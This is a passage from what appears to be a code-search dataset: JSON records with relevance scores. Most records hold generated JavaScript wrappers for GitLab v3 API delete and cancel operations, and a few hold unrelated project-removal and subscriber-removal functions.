private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The project I\n/*let environmentId = 56;*/ // Number | The environment ID\napiInstance.deleteV3ProjectsIdEnvironmentsEnvironmentId(incomingOptions.id, incomingOptions.environmentId, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, data)\n }\n});\n }", "title": "" }, { "docid": "bec4bf6c416cf4cf652ee3e8935a6e89", "score": "0.52215904", "text": "deleteV3ProjectsIdIssuesIssueIdAwardEmojiAwardId(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let awardId = 56;*/ // Number | The ID of an award emoj\n/*let id = 56;*/ // Number |\n/*let issueId = 56;*/ // Number | \napiInstance.deleteV3ProjectsIdIssuesIssueIdAwardEmojiAwardId(incomingOptions.awardId, incomingOptions.id, incomingOptions.issueId, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, data)\n }\n});\n }", "title": "" }, { "docid": "d1fff3878581f52c97fc9ec22c0b5a9a", "score": "0.51977575", "text": "deleteV3ProjectsIdDeployKeysKeyId(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The ID of the projec\n/*let keyId = 56;*/ // Number | The ID of the deploy key\napiInstance.deleteV3ProjectsIdDeployKeysKeyId(incomingOptions.id, incomingOptions.keyId, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, data)\n }\n});\n }", "title": "" }, { "docid": "a836b8051349d99752f4efa6d02f4462", "score": "0.5192179", "text": "deleteV3ProjectsIdKeysKeyId(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The ID of the projec\n/*let keyId = 56;*/ // Number | The ID of the deploy key\napiInstance.deleteV3ProjectsIdKeysKeyId(incomingOptions.id, incomingOptions.keyId, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, data)\n }\n});\n }", "title": "" }, { "docid": "d1977aac9d28ebb0e6d9dbc115a4c388", "score": "0.51847166", "text": "deleteV3ProjectsId(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The ID of a project\napiInstance.deleteV3ProjectsId(incomingOptions.id, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, '')\n }\n});\n }", "title": "" }, { "docid": "f0fba247da4c0a597596c39cd6089134", "score": "0.5171802", "text": "deleteV3ProjectsIdVariablesKey(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The ID of a projec\n/*let key = \"key_example\";*/ // String | The key of the variable\napiInstance.deleteV3ProjectsIdVariablesKey(incomingOptions.id, incomingOptions.key, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, data)\n }\n});\n }", "title": "" }, { "docid": "5f5d1fdb541c089a87681f709a5063d5", "score": "0.51635504", "text": "deleteV3ProjectsIdMembersUserId(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The project I\n/*let userId = 56;*/ // Number | The user ID of the member\napiInstance.deleteV3ProjectsIdMembersUserId(incomingOptions.id, incomingOptions.userId, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, '')\n }\n});\n }", "title": "" }, { "docid": "f595adb59f111603753425c202cb3a8d", "score": "0.5134213", "text": "deleteV3ProjectsIdIssuesIssueIdNotesNoteIdAwardEmojiAwardId(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let awardId = 56;*/ // Number | The ID of an award emoj\n/*let id = 56;*/ // Number |\n/*let issueId = 56;*/ // Number |\n/*let noteId = 56;*/ // Number | \napiInstance.deleteV3ProjectsIdIssuesIssueIdNotesNoteIdAwardEmojiAwardId(incomingOptions.awardId, incomingOptions.id, incomingOptions.issueId, incomingOptions.noteId, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, data)\n }\n});\n }", "title": "" }, { "docid": "97be5f2dceae015095103644e51b32b2", "score": "0.51183647", "text": "deleteV3ProjectsIdHooksHookId(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The ID of a projec\n/*let hookId = 56;*/ // Number | The ID of the hook to delete\napiInstance.deleteV3ProjectsIdHooksHookId(incomingOptions.id, incomingOptions.hookId, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, data)\n }\n});\n }", "title": "" }, { "docid": "93a883f0f159ce7b07738c2426aaa6c9", "score": "0.51135314", "text": "deleteV3UsersIdEmailsEmailId(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.UsersApi()\n/*let id = 56;*/ // Number | The ID of the use\n/*let emailId = 56;*/ // Number | The ID of the email\napiInstance.deleteV3UsersIdEmailsEmailId(incomingOptions.id, incomingOptions.emailId, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, data)\n }\n});\n }", "title": "" }, { "docid": "8b390fb73816b26c3226bbb5981fdb27", "score": "0.51004905", "text": "deleteV3ProjectsIdStar(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The ID of a project\napiInstance.deleteV3ProjectsIdStar(incomingOptions.id, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, data)\n }\n});\n }", "title": "" }, { "docid": "8a41e5a14db876f190654d4276dbe015", "score": "0.50980777", "text": "deleteV3ProjectsIdRepositoryTagsTagName(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The ID of a projec\n/*let tagName = \"tagName_example\";*/ // String | The name of the tag\napiInstance.deleteV3ProjectsIdRepositoryTagsTagName(incomingOptions.id, incomingOptions.tagName, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, '')\n }\n});\n }", "title": "" }, { "docid": "eca17c34c4a8420569a276cb2168e4bb", "score": "0.5093683", "text": "postV3ProjectsIdMergeRequestsMergeRequestIdCancelMergeWhenBuildSucceeds(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The ID of a projec\n/*let mergeRequestId = 56;*/ // Number | \napiInstance.postV3ProjectsIdMergeRequestsMergeRequestIdCancelMergeWhenBuildSucceeds(incomingOptions.id, incomingOptions.mergeRequestId, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, data)\n }\n});\n }", "title": "" }, { "docid": "92e691f6dcb5827831d304babcd57907", "score": "0.50929695", "text": "function remove_project(keys,case_id){\n\tjQuery.ajax({\n\t\turl: baseUrl +'case-projects/chkcanclosecancelproject&case_id='+case_id,\n\t\tdata:{task_list:keys},\n\t\ttype: 'post',\n\t\tsuccess: function (data) {\n\t\t\tvar msgconfirm =\"Are you sure you want to Delete Project #\"+keys+\"?\"; \n\t\t\tif(data.replace(/^\\s+|\\s+$/g, \"\") == 'billableitemsleft'){\n\t\t\t\tmsgconfirm =\"The selected Project has outstanding Billing Items. Are you sure you want to Remove the project and all associated outstanding Billing Items.\";\n \t\t\t\n \t\t}\n \t\tif(data.replace(/^\\s+|\\s+$/g, \"\") == 'billabled'){\n\t\t\t alert(\"“The selected Project cannot be Removed because it is associated with a Finalized invoice.\");\n\t\t\t\treturn false;\t\n\t\t\t}\n\t\t\tif (confirm(msgconfirm))\n {\n\t\t\t\tjQuery.ajax({\n\t\t\t\t\turl: baseUrl +'case-projects/remove-project/',\n\t\t\t\t\tdata:{task_list:keys},\n\t\t\t\t\ttype: 'post',\n\t\t\t\t\tbeforeSend:function (data) {showLoader();},\n\t\t\t\t\tsuccess: function (data) {\n\t\t\t\t\t\t$.pjax.reload('#dynagrid-caseprojects-pjax', $.pjax.defaults);\n\t\t\t\t\t},\n\t\t\t\t\tcomplete: function (data) {hideLoader();}\n\t\t\t\t});\n }\n \t\t\n\t\t},\n\t\tcomplete: function (data) {hideLoader();}\n \t});\t\n}", "title": "" }, { "docid": "bacf1d8a8b029be28015784272abbc65", "score": "0.506549", "text": "deleteV3RunnersId(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.RunnersApi()\n/*let id = 56;*/ // Number | The ID of the runner\napiInstance.deleteV3RunnersId(incomingOptions.id, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, data)\n }\n});\n }", "title": "" }, { "docid": "7d857ccf6daf9fee2c491e3bd0be2468", "score": "0.50439274", "text": "deleteV3ProjectsIdRepositoryBranchesBranch(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The ID of a projec\n/*let branch = \"branch_example\";*/ // String | The name of the branch\napiInstance.deleteV3ProjectsIdRepositoryBranchesBranch(incomingOptions.id, incomingOptions.branch, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, '')\n }\n});\n }", "title": "" }, { "docid": "5420990d4a9e46ab39fbcd2e7f30b9bc", "score": "0.50391346", "text": "deleteV3ProjectsIdSnippetsSnippetIdNotesNoteIdAwardEmojiAwardId(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let awardId = 56;*/ // Number | The ID of an award emoj\n/*let id = 56;*/ // Number |\n/*let snippetId = 56;*/ // Number |\n/*let noteId = 56;*/ // Number | \napiInstance.deleteV3ProjectsIdSnippetsSnippetIdNotesNoteIdAwardEmojiAwardId(incomingOptions.awardId, incomingOptions.id, incomingOptions.snippetId, incomingOptions.noteId, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, data)\n }\n});\n }", "title": "" }, { "docid": "0b37d57462d68ba9b241dd60d9b08a24", "score": "0.50253546", "text": "deleteV3ProjectsIdFork(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The ID of a project\napiInstance.deleteV3ProjectsIdFork(incomingOptions.id, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, '')\n }\n});\n }", "title": "" }, { "docid": "8911eae020ed6b297526e6eaf9218d93", "score": "0.49977955", "text": "deleteV3ProjectsIdSnippetsSnippetIdAwardEmojiAwardId(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let awardId = 56;*/ // Number | The ID of an award emoj\n/*let id = 56;*/ // Number |\n/*let snippetId = 56;*/ // Number | \napiInstance.deleteV3ProjectsIdSnippetsSnippetIdAwardEmojiAwardId(incomingOptions.awardId, incomingOptions.id, incomingOptions.snippetId, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, data)\n }\n});\n }", "title": "" }, { "docid": "259d2bdffbd31643b90a964fd44da895", "score": "0.49875605", "text": "postV3ProjectsIdMergeRequestMergeRequestIdCancelMergeWhenBuildSucceeds(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The ID of a projec\n/*let mergeRequestId = 56;*/ // Number | \napiInstance.postV3ProjectsIdMergeRequestMergeRequestIdCancelMergeWhenBuildSucceeds(incomingOptions.id, incomingOptions.mergeRequestId, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, data)\n }\n});\n }", "title": "" }, { "docid": "b323659aea62397cddf66e78fb7c66b5", "score": "0.49641445", "text": "deleteV3ProjectsIdSnippetsSnippetId(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The ID of a projec\n/*let snippetId = 56;*/ // Number | The ID of a project snippet\napiInstance.deleteV3ProjectsIdSnippetsSnippetId(incomingOptions.id, incomingOptions.snippetId, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, '')\n }\n});\n }", "title": "" }, { "docid": "52b097bda4606c86213f1da02301f92c", "score": "0.49466324", "text": "deleteV3ProjectsIdRepositoryFiles(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The project I\n/*let filePath = \"filePath_example\";*/ // String | The path to new file. Ex. lib/class.r\n/*let branchName = \"branchName_example\";*/ // String | The name of branc\n/*let commitMessage = \"commitMessage_example\";*/ // String | Commit Messag\n/*let opts = {\n 'authorEmail': \"authorEmail_example\", // String | The email of the author\n 'authorName': \"authorName_example\" // String | The name of the author\n};*/\napiInstance.deleteV3ProjectsIdRepositoryFiles(incomingOptions.id, incomingOptions.filePath, incomingOptions.branchName, incomingOptions.commitMessage, incomingOptions.opts, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, '')\n }\n});\n }", "title": "" }, { "docid": "63003785464a8ded6a997ae4bb17624d", "score": "0.4912047", "text": "deleteV3ProjectsIdDeployKeysKeyIdDisable(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The ID of the projec\n/*let keyId = 56;*/ // Number | The ID of the deploy key\napiInstance.deleteV3ProjectsIdDeployKeysKeyIdDisable(incomingOptions.id, incomingOptions.keyId, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, data)\n }\n});\n }", "title": "" }, { "docid": "9b5ddf70421d7c18c3513b8846bbea8a", "score": "0.48914182", "text": "deleteV3ProjectsIdKeysKeyIdDisable(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The ID of the projec\n/*let keyId = 56;*/ // Number | The ID of the deploy key\napiInstance.deleteV3ProjectsIdKeysKeyIdDisable(incomingOptions.id, incomingOptions.keyId, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, data)\n }\n});\n }", "title": "" }, { "docid": "9f1f2d3d45eed9d2bec6f39ce9f94fb3", "score": "0.4869415", "text": "remove(subscirberId: string | number) {\n const id = `${subscirberId}`;\n if (this.subscribers[id] != null) {\n delete this.subscribers[id];\n }\n const index = this.order.indexOf(id);\n if (index > -1) {\n this.order.splice(index, 1);\n }\n }", "title": "" }, { "docid": "42a2cdcc76814a16ec529492088abff0", "score": "0.4866273", "text": "deleteV3UserEmailsEmailId(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.UserApi()\n/*let emailId = 56;*/ // Number | The ID of the email\napiInstance.deleteV3UserEmailsEmailId(incomingOptions.emailId, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, '')\n }\n});\n }", "title": "" }, { "docid": "b59161416fb723f7981f2da04bb9c2f3", "score": "0.4864581", "text": "postV3ProjectsIdBuildsBuildIdErase(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to 